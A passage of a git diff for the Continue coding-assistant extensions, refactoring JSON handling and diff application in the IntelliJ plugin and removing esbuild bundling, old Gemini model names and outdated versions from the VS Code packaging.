"process/markAsBackgrounded", diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/ApplyToFileHandler.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/ApplyToFileHandler.kt index a5ae5eb67..11231983a 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/ApplyToFileHandler.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/ApplyToFileHandler.kt @@ -83,17 +83,7 @@ class ApplyToFileHandler( val diffStreamHandler = createDiffStreamHandler(editorUtils.editor, startLine, endLine) diffStreamService.register(diffStreamHandler, editorUtils.editor) - // Stream the diffs between current and new content - // For search/replace, we pass the new content as "input" and current as "highlighted" - diffStreamHandler.streamDiffLinesToEditor( - input = newContent, // The new content (full rewrite) - prefix = "", // No prefix since we're rewriting the whole file - highlighted = currentContent, // Current file content - suffix = "", // No suffix since we're rewriting the whole file - modelTitle = null, // No model needed for search/replace instant apply - includeRulesInSystemMessage = false, // No LLM involved, just diff generation - isApply = true - ) + diffStreamHandler.instantApplyDiffLines(currentContent, newContent) } private fun notifyStreamStarted() { diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/CoreMessenger.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/CoreMessenger.kt index 01affb7db..f313e5f43 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/CoreMessenger.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/CoreMessenger.kt @@ -6,8 +6,8 @@ import com.github.continuedev.continueintellijextension.`continue`.process.Conti import com.github.continuedev.continueintellijextension.`continue`.process.ContinueProcessHandler import com.github.continuedev.continueintellijextension.`continue`.process.ContinueSocketProcess import com.github.continuedev.continueintellijextension.services.ContinuePluginService +import com.github.continuedev.continueintellijextension.services.GsonService import com.github.continuedev.continueintellijextension.utils.uuid -import com.google.gson.Gson import com.google.gson.JsonSyntaxException import com.intellij.openapi.components.service import com.intellij.openapi.diagnostic.Logger @@ -18,9 +18,10 @@ class CoreMessenger( private val project: Project, private val ideProtocolClient: IdeProtocolClient, val coroutineScope: CoroutineScope, - private val onUnexpectedExit: () -> Unit + private val onUnexpectedExit: () -> Unit, + private val gsonService: GsonService = service(), ) { - private val gson = Gson() + private val gson = gsonService.gson private val responseListeners = mutableMapOf Unit>() private var process = startContinueProcess() private val log = Logger.getInstance(CoreMessenger::class.java.simpleName) diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/IdeProtocolClient.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/IdeProtocolClient.kt index 0bc204710..7acb4c995 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/IdeProtocolClient.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/continue/IdeProtocolClient.kt @@ -11,9 +11,9 @@ import com.github.continuedev.continueintellijextension.error.ContinueSentryServ import com.github.continuedev.continueintellijextension.protocol.* import com.github.continuedev.continueintellijextension.services.ContinueExtensionSettings import com.github.continuedev.continueintellijextension.services.ContinuePluginService +import com.github.continuedev.continueintellijextension.services.GsonService import com.github.continuedev.continueintellijextension.utils.getMachineUniqueID import com.github.continuedev.continueintellijextension.utils.uuid -import com.google.gson.Gson import com.intellij.openapi.application.ApplicationManager import com.intellij.openapi.command.WriteCommandAction import com.intellij.openapi.components.service @@ -34,7 +34,8 @@ import java.awt.datatransfer.StringSelection class IdeProtocolClient( private val continuePluginService: ContinuePluginService, private val coroutineScope: CoroutineScope, - private val project: Project + private val project: Project, + private val gsonService: GsonService = service(), ) : DumbAware { private val ide: IDE = IntelliJIDE(project, continuePluginService) private val diffStreamService = project.service() @@ -51,7 +52,7 @@ class IdeProtocolClient( fun handleMessage(msg: String, respond: (Any?) -> Unit) { coroutineScope.launch(limitedDispatcher) { - val message = Gson().fromJson(msg, Message::class.java) + val message = gsonService.gson.fromJson(msg, Message::class.java) val messageType = message.messageType val dataElement = message.data @@ -85,7 +86,7 @@ class IdeProtocolClient( } "showFile" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), ShowFilePayload::class.java ) @@ -99,7 +100,7 @@ class IdeProtocolClient( } "getControlPlaneSessionInfo" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), GetControlPlaneSessionInfoParams::class.java ) @@ -132,7 +133,7 @@ class IdeProtocolClient( } "copyText" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), CopyTextParams::class.java ) @@ -144,7 +145,7 @@ class IdeProtocolClient( } "showDiff" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), ShowDiffParams::class.java ) @@ -153,7 +154,7 @@ class IdeProtocolClient( } "readFile" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), ReadFileParams::class.java ) @@ -167,7 +168,7 @@ class IdeProtocolClient( } "readRangeInFile" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), ReadRangeInFileParams::class.java ) @@ -181,7 +182,7 @@ class IdeProtocolClient( } "getTags" -> { - val artifactId = Gson().fromJson( + val artifactId = gsonService.gson.fromJson( dataElement.toString(), getTagsParams::class.java ) @@ -200,7 +201,7 @@ class IdeProtocolClient( } "saveFile" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), SaveFileParams::class.java ) @@ -209,7 +210,7 @@ class IdeProtocolClient( } "showVirtualFile" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), ShowVirtualFileParams::class.java ) @@ -218,7 +219,7 @@ class IdeProtocolClient( } "showLines" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), ShowLinesParams::class.java ) @@ -227,7 +228,7 @@ class IdeProtocolClient( } "getFileStats" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), GetFileStatsParams::class.java ) @@ -236,7 +237,7 @@ class IdeProtocolClient( } "listDir" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), ListDirParams::class.java ) @@ -247,7 +248,7 @@ class IdeProtocolClient( } "getGitRootPath" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), GetGitRootPathParams::class.java ) @@ -256,7 +257,7 @@ class IdeProtocolClient( } "getBranch" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), GetBranchParams::class.java ) @@ -265,7 +266,7 @@ class IdeProtocolClient( } "getRepoName" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), GetRepoNameParams::class.java ) @@ -274,7 +275,7 @@ class IdeProtocolClient( } "getDiff" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), GetDiffParams::class.java ) @@ -288,7 +289,7 @@ class IdeProtocolClient( } "writeFile" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), WriteFileParams::class.java ) @@ -297,7 +298,7 @@ class IdeProtocolClient( } "fileExists" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), FileExistsParams::class.java ) @@ -306,7 +307,7 @@ class IdeProtocolClient( } "openFile" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), OpenFileParams::class.java ) @@ -315,7 +316,7 @@ class IdeProtocolClient( } "runCommand" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), RunCommandParams::class.java ) @@ -353,7 +354,7 @@ class IdeProtocolClient( } "getSearchResults" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), GetSearchResultsParams::class.java ) @@ -362,7 +363,7 @@ class IdeProtocolClient( } "getFileResults" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), GetFileResultsParams::class.java ) @@ -386,7 +387,7 @@ class IdeProtocolClient( } "openUrl" -> { - val url = Gson().fromJson( + val url = gsonService.gson.fromJson( dataElement.toString(), OpenUrlParam::class.java ) @@ -395,7 +396,7 @@ class IdeProtocolClient( } "insertAtCursor" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), InsertAtCursorParams::class.java ) @@ -415,7 +416,7 @@ class IdeProtocolClient( } "acceptDiff" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), AcceptOrRejectDiffPayload::class.java ) @@ -431,7 +432,7 @@ class IdeProtocolClient( } "rejectDiff" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), AcceptOrRejectDiffPayload::class.java ) @@ -446,7 +447,7 @@ class IdeProtocolClient( } "applyToFile" -> { - val params = Gson().fromJson( + val params = gsonService.gson.fromJson( dataElement.toString(), ApplyToFileParams::class.java ) diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/editor/DiffStreamHandler.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/editor/DiffStreamHandler.kt index 7792397e3..3f620c120 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/editor/DiffStreamHandler.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/editor/DiffStreamHandler.kt @@ -3,6 +3,7 @@ package com.github.continuedev.continueintellijextension.editor import com.github.continuedev.continueintellijextension.ApplyState import com.github.continuedev.continueintellijextension.ApplyStateStatus import com.github.continuedev.continueintellijextension.StreamDiffLinesPayload +import com.github.continuedev.continueintellijextension.GetDiffLinesPayload import com.github.continuedev.continueintellijextension.browser.ContinueBrowserService.Companion.getBrowser import com.github.continuedev.continueintellijextension.services.ContinuePluginService import com.intellij.openapi.application.ApplicationManager @@ -131,6 +132,138 @@ class DiffStreamHandler( } } + fun instantApplyDiffLines( + currentContent: String, + newContent: String + ) { + isRunning = true + sendUpdate(ApplyStateStatus.STREAMING) + + project.service().coreMessenger?.request( + "getDiffLines", + GetDiffLinesPayload( + oldContent=currentContent, + newContent=newContent + ), + null + ) { response -> + if (!isRunning) return@request + + val diffLines = parseDiffLinesResponse(response) ?: run { + println("Error: Invalid response format for getDiffLines") + ApplicationManager.getApplication().invokeLater { + setClosed() + } + return@request + } + + ApplicationManager.getApplication().invokeLater { + WriteCommandAction.runWriteCommandAction(project) { + applyAllDiffLines(diffLines) + + createDiffBlocksFromDiffLines(diffLines) + + cleanupProgressHighlighters() + + if (diffBlocks.isEmpty()) { + setClosed() + } else { + sendUpdate(ApplyStateStatus.DONE) + } + + onFinish() + } + } + } + } + + private fun parseDiffLinesResponse(response: Any?): List>? { + if (response !is Map<*, *>) return null + + val success = response["status"] as? String + if (success != "success") return null + + val content = response["content"] as? List<*> ?: return null + + val result = mutableListOf>() + for (item in content) { + if (item !is Map<*, *>) return null + + val type = item["type"] as? String ?: return null + val line = item["line"] as? String ?: return null + + result.add(mapOf("type" to type, "line" to line)) + } + + return result + } + + private fun applyAllDiffLines(diffLines: List>) { + var currentLine = startLine + + diffLines.forEach { line -> + val type = getDiffLineType(line["type"] as String) + val text = line["line"] as String + + when (type) { + DiffLineType.OLD -> { + // Delete line + val document = editor.document + val start = document.getLineStartOffset(currentLine) + val end = document.getLineEndOffset(currentLine) + document.deleteString(start, if (currentLine < document.lineCount - 1) end + 1 else end) + } + DiffLineType.NEW -> { + // Insert line + val offset = if (currentLine >= editor.document.lineCount) editor.document.textLength else editor.document.getLineStartOffset(currentLine) + editor.document.insertString(offset, text + "\n") + currentLine++ + } + DiffLineType.SAME -> { + currentLine++ + } + } + } + } + + private fun createDiffBlocksFromDiffLines(diffLines: List>) { + var currentBlock: VerticalDiffBlock? = null + var currentLine = startLine + + diffLines.forEach { line -> + val type = getDiffLineType(line["type"] as String) + val text = line["line"] as String + + when (type) { + DiffLineType.OLD -> { + if (currentBlock == null) { + currentBlock = createDiffBlock() + currentBlock!!.startLine = currentLine + } + currentBlock!!.deletedLines.add(text) + } + DiffLineType.NEW -> { + if (currentBlock == null) { + currentBlock = createDiffBlock() + currentBlock!!.startLine = currentLine + } + currentBlock!!.addedLines.add(text) + currentLine++ + } + DiffLineType.SAME -> { + if (currentBlock != null) { + currentBlock!!.onLastDiffLine() + currentBlock = null + } + currentLine++ + } + } + } + + // Handle last block if it doesn't end with SAME + currentBlock?.onLastDiffLine() + } + private fun initUnfinishedRangeHighlights() { val editorUtils = EditorUtils(editor) val unfinishedKey = editorUtils.createTextAttributesKey("CONTINUE_DIFF_UNFINISHED_LINE", 0x20888888) diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/proxy/ProxyPoolingActivity.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/proxy/ProxyPoolingActivity.kt index 0d88d0bdd..9d44aeba3 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/proxy/ProxyPoolingActivity.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/proxy/ProxyPoolingActivity.kt @@ -4,16 +4,15 @@ import com.github.continuedev.continueintellijextension.services.ContinuePluginS import com.intellij.openapi.components.service import com.intellij.openapi.diagnostic.Logger import com.intellij.openapi.project.Project -import com.intellij.openapi.startup.StartupActivity +import com.intellij.openapi.startup.ProjectActivity import kotlinx.coroutines.* import kotlin.time.Duration.Companion.seconds -class ProxyPoolingActivity : StartupActivity { - private val scope = CoroutineScope(Dispatchers.Default) +class ProxyPoolingActivity : ProjectActivity { private var lastSettings = ProxySettings.getSettings() - private val log = Logger.getInstance(ProxyPoolingActivity::class.java) + private val scope = CoroutineScope(Dispatchers.Default) - override fun runActivity(project: Project) { + override suspend fun execute(project: Project) { scope.launch { while (isActive) { val newSettings = ProxySettings.getSettings() @@ -27,9 +26,13 @@ class ProxyPoolingActivity : StartupActivity { } private fun onSettingsChanged(project: Project) { - log.warn("Proxy settings changed, restarting") + LOG.warn("Proxy settings changed, restarting") project.service().coreMessengerManager?.coreMessenger?.restart() } + + private companion object { + private val LOG = Logger.getInstance(ProxyPoolingActivity::class.java.simpleName) + } } diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/services/GsonService.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/services/GsonService.kt new file mode 100644 index 000000000..649efde04 --- /dev/null +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/services/GsonService.kt @@ -0,0 +1,9 @@ +package com.github.continuedev.continueintellijextension.services + +import com.google.gson.Gson +import com.intellij.openapi.components.Service + +@Service(Service.Level.APP) +class GsonService { + val gson: Gson = Gson() +} diff --git a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/types.kt b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/types.kt index d937b0add..19d7c1200 100644 --- a/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/types.kt +++ b/extensions/intellij/src/main/kotlin/com/github/continuedev/continueintellijextension/types.kt @@ -310,6 +310,11 @@ data class StreamDiffLinesPayload( val isApply: Boolean ) +data class GetDiffLinesPayload( + val oldContent: String, + val newContent: String, +) + data class AcceptOrRejectDiffPayload( val filepath: String? = null, val streamId: String? = null diff --git a/extensions/intellij/src/main/resources/META-INF/plugin.xml b/extensions/intellij/src/main/resources/META-INF/plugin.xml index 9f407a573..7481b8aba 100644 --- a/extensions/intellij/src/main/resources/META-INF/plugin.xml +++ b/extensions/intellij/src/main/resources/META-INF/plugin.xml @@ -41,7 +41,6 @@ displayType="BALLOON"/> - @@ -181,5 +180,12 @@ + + + + + diff --git a/extensions/intellij/src/main/resources/continue_tutorial.java b/extensions/intellij/src/main/resources/continue_tutorial.java index c1e95445b..d036f171b 100644 --- a/extensions/intellij/src/main/resources/continue_tutorial.java +++ b/extensions/intellij/src/main/resources/continue_tutorial.java @@ -60,4 +60,4 @@ public static int[] sortingAlgorithm2(int[] x) { // 1. Switch from "Chat" to "Agent" mode using the dropdown in the bottom left of the input box // 2. Use the "/init" slash command to generate a CONTINUE.md file -// —————————————————— Learn more at https://docs.continue.dev/getting-started/overview ——————————————————— // \ No newline at end of file + // —————————————————— Learn more at https://docs.continue.dev ——————————————————— // diff --git a/extensions/intellij/src/main/resources/continue_tutorial.py b/extensions/intellij/src/main/resources/continue_tutorial.py index 10bec29c5..2f7a48aad 100644 --- a/extensions/intellij/src/main/resources/continue_tutorial.py +++ b/extensions/intellij/src/main/resources/continue_tutorial.py @@ -49,4 +49,4 @@ def sorting_algorithm2(x): # 1. Switch from "Chat" to "Agent" mode using the dropdown in the bottom left of the input box # 2. Use the "/init" slash command to generate a CONTINUE.md file -# —————————————————— Learn more at https://docs.continue.dev/getting-started/overview ——————————————————— # \ No newline at end of file + # —————————————————— Learn more at https://docs.continue.dev ——————————————————— # diff --git a/extensions/intellij/src/main/resources/continue_tutorial.ts b/extensions/intellij/src/main/resources/continue_tutorial.ts index 65e263c4a..ace3eca40 100644 --- a/extensions/intellij/src/main/resources/continue_tutorial.ts +++ b/extensions/intellij/src/main/resources/continue_tutorial.ts @@ -60,4 +60,4 @@ function sortingAlgorithm2(x: number[]): number[] { // 1. Switch from "Chat" to "Agent" mode using the dropdown in the bottom left of the input box // 2. Use the "/init" slash command to generate a CONTINUE.md file -// —————————————————— Learn more at https://docs.continue.dev/getting-started/overview ——————————————————— // + // —————————————————— Learn more at https://docs.continue.dev ——————————————————— // diff --git a/extensions/vscode/.vscodeignore b/extensions/vscode/.vscodeignore index f2179a2c5..bc6ad391e 100644 --- a/extensions/vscode/.vscodeignore +++ b/extensions/vscode/.vscodeignore @@ -24,4 +24,8 @@ e2e server/exe/** !out/node_modules/** -!node_modules/@vscode/ripgrep/bin/rg \ No newline at end of file +!node_modules/@vscode/ripgrep/bin/rg + +# Do not ship esbuild in VSIX +out/node_modules/esbuild/** +out/node_modules/@esbuild/** diff --git a/extensions/vscode/config_schema.json b/extensions/vscode/config_schema.json index aa8843202..71f0f5e3f 100644 --- a/extensions/vscode/config_schema.json +++ b/extensions/vscode/config_schema.json @@ -968,11 +968,6 @@ "enum": [ "chat-bison-001", "gemini-pro", - "gemini-1.5-pro-latest", - "gemini-1.5-pro", - "gemini-1.5-flash-latest", - "gemini-1.5-flash", - "gemini-1.5-flash-8b", "gemini-2.0-flash-exp", "gemini-2.0-flash", "gemini-2.0-flash-thinking-exp-01-21", @@ -980,7 +975,6 @@ "gemini-2.0-flash-lite-preview-02-05", "gemini-2.0-flash-lite", "gemini-2.0-flash-exp-image-generation", - "gemini-2.5-pro-exp-03-25", "gemini-2.5-pro-latest" ] } @@ -1624,12 +1618,7 @@ "command-r", "command-r-plus", "chat-bison-001", - "gemini-pro", - "gemini-1.5-pro-latest", - "gemini-1.5-pro", "gemini-2.5-pro", - "gemini-1.5-flash-latest", - "gemini-1.5-flash", "mistral-tiny", "mistral-small", "mistral-medium", diff --git a/extensions/vscode/continue_tutorial.py b/extensions/vscode/continue_tutorial.py index bc7303533..ef0bbc717 100644 --- a/extensions/vscode/continue_tutorial.py +++ b/extensions/vscode/continue_tutorial.py @@ -49,4 +49,4 @@ def sorting_algorithm2(x): # 1. Switch from "Chat" to "Agent" mode using the dropdown in the bottom left of the input box # 2. Use the "/init" slash command to generate a CONTINUE.md file -# —————————————————— Learn more at https://docs.continue.dev/getting-started/overview ——————————————————— # \ No newline at end of file + # —————————————————— Learn more at https://docs.continue.dev ——————————————————— # diff --git a/extensions/vscode/package-lock.json b/extensions/vscode/package-lock.json index 3e6594b6b..170634edf 100644 --- a/extensions/vscode/package-lock.json +++ b/extensions/vscode/package-lock.json @@ -1,12 +1,12 @@ { "name": "continue", - "version": "1.3.10", + "version": "1.3.21", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "continue", - "version": "1.3.10", + "version": "1.3.21", "license": "Apache-2.0", "dependencies": { "@continuedev/config-types": "file:../../packages/config-types", @@ -20,7 +20,6 @@ "dbinfoz": "^0.14.0", "diff": "^7.0.0", "downshift": "^7.6.0", - "esbuild": "0.17.19", "express": "^4.18.2", "fkill": "^8.1.0", "follow-redirects": "^1.15.4", @@ -100,6 +99,7 @@ "version": "1.1.0", "license": "Apache-2.0", "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.779.0", "@aws-sdk/client-sagemaker-runtime": "^3.777.0", "@aws-sdk/credential-providers": "^3.778.0", @@ -166,6 +166,7 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", + "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", @@ -12881,9 +12882,9 @@ } }, "node_modules/tar-fs": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.2.tgz", - "integrity": "sha512-EsaAXwxmx8UB7FRKqeozqEPop69DXcmYwTQwXvyAPF352HJsPdkVhvTaDPYqfNgruveJIJy3TA2l+2zj8LJIJA==", + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", "license": "MIT", "dependencies": { "chownr": "^1.1.1", @@ -12981,9 +12982,9 @@ } }, "node_modules/targz/node_modules/tar-fs": { - "version": "1.16.4", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-1.16.4.tgz", - "integrity": "sha512-u3XczWoYAIVXe5GOKK6+VeWaHjtc47W7hyuTo3+4cNakcCcuDmlkYiiHEsECwTkcI3h1VUgtwBQ54+RvY6cM4w==", + "version": "1.16.6", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-1.16.6.tgz", + "integrity": "sha512-JkOgFt3FxM/2v2CNpAVHqMW2QASjc/Hxo7IGfNd3MHaDYSW/sBFiS7YVmmhmr8x6vwN1VFQDQGdT2MWpmIuVKA==", "dev": true, "license": "MIT", "dependencies": { diff --git a/extensions/vscode/package.json b/extensions/vscode/package.json index 19a0eed75..11f163d14 100644 --- a/extensions/vscode/package.json +++ b/extensions/vscode/package.json @@ -2,7 +2,7 @@ "name": "continue", "icon": "media/icon.png", "author": "Continue Dev, Inc", - "version": "1.3.11", + "version": "1.3.26", "repository": { "type": "git", "url": "https://github.com/continuedev/continue" @@ -89,7 +89,9 @@ "continue.telemetryEnabled": { "type": "boolean", "default": true, - "markdownDescription": "Continue collects anonymous usage data, cleaned of PII, to help us improve the product for our users. Read more at [continue.dev › Telemetry](https://docs.continue.dev/telemetry)." + "markdownDescription": "Continue collects anonymous usage data, cleaned of PII, to help us improve the product for our users. Read more at [continue.dev › Telemetry](https://docs.continue.dev/telemetry).", + "markdownDeprecationMessage": "This setting is deprecated and will be removed in a later version. Please use the _Telemetry > Allow Anonymous Telemetry_ setting in the extension's User Settings page.", + "deprecationMessage": "Please use the _Telemetry > Allow Anonymous Telemetry_ setting in the extension's User Settings page." }, "continue.showInlineTip": { "type": "boolean", @@ -241,6 +243,12 @@ "icon": "$(add)", "group": "Continue" }, + { + "command": "continue.shareSession", + "category": "Continue", + "title": "Share Current Chat Session as Markdown", + "group": "Continue" + }, { "command": "continue.viewHistory", "category": "Continue", @@ -367,6 +375,12 @@ "category": "Continue", "title": "Generate Rule", "group": "Continue" + }, + { + "command": "continue.openInNewWindow", + "category": "Continue", + "title": "Open in new window", + "group": "Continue" } ], "keybindings": [ @@ -437,6 +451,12 @@ "mac": "cmd+shift+r", "key": "ctrl+shift+r" }, + { + "command": "continue.openInNewWindow", + "mac": "cmd+k cmd+m", + "key": "ctrl+k ctrl+m", + "when": "!terminalFocus" + }, { "command": "continue.toggleTabAutocompleteEnabled", "mac": "cmd+k cmd+a", @@ -506,6 +526,9 @@ }, { "command": "continue.generateRule" + }, + { + "command": "continue.openInNewWindow" } ], "editor/context": [ @@ -716,7 +739,6 @@ "dbinfoz": "^0.14.0", "diff": "^7.0.0", "downshift": "^7.6.0", - "esbuild": "0.17.19", "express": "^4.18.2", "fkill": "^8.1.0", "follow-redirects": "^1.15.4", diff --git a/extensions/vscode/scripts/download-copy-sqlite-esbuild.js b/extensions/vscode/scripts/download-copy-sqlite.js similarity index 100% rename from extensions/vscode/scripts/download-copy-sqlite-esbuild.js rename to extensions/vscode/scripts/download-copy-sqlite.js diff --git a/extensions/vscode/scripts/prepackage-cross-platform.js b/extensions/vscode/scripts/prepackage-cross-platform.js index 640a81380..5dab13b5a 100644 --- a/extensions/vscode/scripts/prepackage-cross-platform.js +++ b/extensions/vscode/scripts/prepackage-cross-platform.js @@ -20,9 +20,7 @@ const { buildGui, copyOnnxRuntimeFromNodeModules, copyTreeSitterWasms, - copyTreeSitterTagQryFiles, copyNodeModules, - downloadEsbuildBinary, downloadRipgrepBinary, copySqliteBinary, installNodeModuleInTempDirAndCopyToCurrent, @@ -90,9 +88,6 @@ async function package(target, os, arch, exe) { // Copy tree-sitter-wasm files await copyTreeSitterWasms(); - // Copy tree-sitter tag query files - await copyTreeSitterTagQryFiles(); - // Install and copy over native modules // *** onnxruntime-node *** await copyOnnxRuntimeFromNodeModules(target); @@ -116,12 +111,6 @@ async function package(target, os, arch, exe) { lancePackageToInstall, "@lancedb", ); - // *** esbuild *** - // await installNodeModuleInTempDirAndCopyToCurrent( - // "esbuild@0.17.19", - // "@esbuild", - // ); - await downloadEsbuildBinary(target); // *** sqlite *** await downloadSqliteBinary(target); @@ -187,19 +176,11 @@ async function package(target, os, arch, exe) { // out/node_modules (to be accessed by extension.js) `out/node_modules/@vscode/ripgrep/bin/rg${exe}`, - `out/node_modules/@esbuild/${ - target === "win32-arm64" - ? "esbuild.exe" - : target === "win32-x64" - ? "win32-x64/esbuild.exe" - : `${target}/bin/esbuild` - }`, `out/node_modules/@lancedb/vectordb-${ os === "win32" ? "win32-x64-msvc" : `${target}${os === "linux" ? "-gnu" : ""}` }/index.node`, - `out/node_modules/esbuild/lib/main.js`, ]); } diff --git a/extensions/vscode/scripts/prepackage.js b/extensions/vscode/scripts/prepackage.js index 29dbf2e8e..6085dc19c 100644 --- a/extensions/vscode/scripts/prepackage.js +++ b/extensions/vscode/scripts/prepackage.js @@ -10,7 +10,7 @@ const { autodetectPlatformAndArch, } = require("../../../scripts/util/index"); -const { copySqlite, copyEsbuild } = require("./download-copy-sqlite-esbuild"); +const { copySqlite } = require("./download-copy-sqlite"); const { generateAndCopyConfigYamlSchema } = require("./generate-copy-config"); const { installAndCopyNodeModules } = require("./install-copy-nodemodule"); const { npmInstall } = require("./npm-install"); @@ -303,14 +303,9 @@ void (async () => { ); await Promise.all([ - copyEsbuild(target), copySqlite(target), installAndCopyNodeModules(packageToInstall, "@lancedb"), ]); - } else { - // Download esbuild from npm in tmp and copy over - console.log("[info] npm installing esbuild binary"); - await installAndCopyNodeModules("esbuild@0.17.19", "@esbuild"); } } @@ -349,13 +344,7 @@ void (async () => { }); // Copy node_modules for pre-built binaries - const NODE_MODULES_TO_COPY = [ - "esbuild", - "@esbuild", - "@lancedb", - "@vscode/ripgrep", - "workerpool", - ]; + const NODE_MODULES_TO_COPY = ["@lancedb", "@vscode/ripgrep", "workerpool"]; fs.mkdirSync("out/node_modules", { recursive: true }); @@ -382,9 +371,6 @@ void (async () => { ), ); - // delete esbuild/bin because platform-specific @esbuild is downloaded - fs.rmSync(`out/node_modules/esbuild/bin`, { recursive: true }); - console.log(`[info] Copied ${NODE_MODULES_TO_COPY.join(", ")}`); // Copy over any worker files @@ -442,15 +428,7 @@ void (async () => { // out/node_modules (to be accessed by extension.js) `out/node_modules/@vscode/ripgrep/bin/rg${exe}`, - `out/node_modules/@esbuild/${ - target === "win32-arm64" - ? "esbuild.exe" - : target === "win32-x64" - ? "win32-x64/esbuild.exe" - : `${target}/bin/esbuild` - }`, `out/node_modules/@lancedb/vectordb-${target}${isWinTarget ? "-msvc" : ""}${isLinuxTarget ? "-gnu" : ""}/index.node`, - `out/node_modules/esbuild/lib/main.js`, ]); console.log( diff --git a/extensions/vscode/scripts/utils.js b/extensions/vscode/scripts/utils.js index cae982a97..b965d0f60 100644 --- a/extensions/vscode/scripts/utils.js +++ b/extensions/vscode/scripts/utils.js @@ -180,31 +180,11 @@ async function copyTreeSitterWasms() { console.log("[info] Copied tree-sitter wasms"); } -async function copyTreeSitterTagQryFiles() { - // ncp( - // path.join( - // __dirname, - // "../../../core/node_modules/llm-code-highlighter/dist/tag-qry", - // ), - // path.join(__dirname, "../out/tag-qry"), - // (error) => { - // if (error) - // console.warn("Error copying code-highlighter tag-qry files", error); - // }, - // ); -} - async function copyNodeModules() { // Copy node_modules for pre-built binaries process.chdir(path.join(continueDir, "extensions", "vscode")); - const NODE_MODULES_TO_COPY = [ - "esbuild", - "@esbuild", - "@lancedb", - "@vscode/ripgrep", - "workerpool", - ]; + const NODE_MODULES_TO_COPY = ["@lancedb", "@vscode/ripgrep", "workerpool"]; fs.mkdirSync("out/node_modules", { recursive: true }); await Promise.all( @@ -230,82 +210,9 @@ async function copyNodeModules() { ), ); - // delete esbuild/bin because platform-specific @esbuild is downloaded - fs.rmdirSync(`out/node_modules/esbuild/bin`, { recursive: true }); - console.log(`[info] Copied ${NODE_MODULES_TO_COPY.join(", ")}`); } -// async function downloadEsbuildBinary(isGhAction, isArm, target) { -// process.chdir(path.join(continueDir, "extensions", "vscode")); - -// if 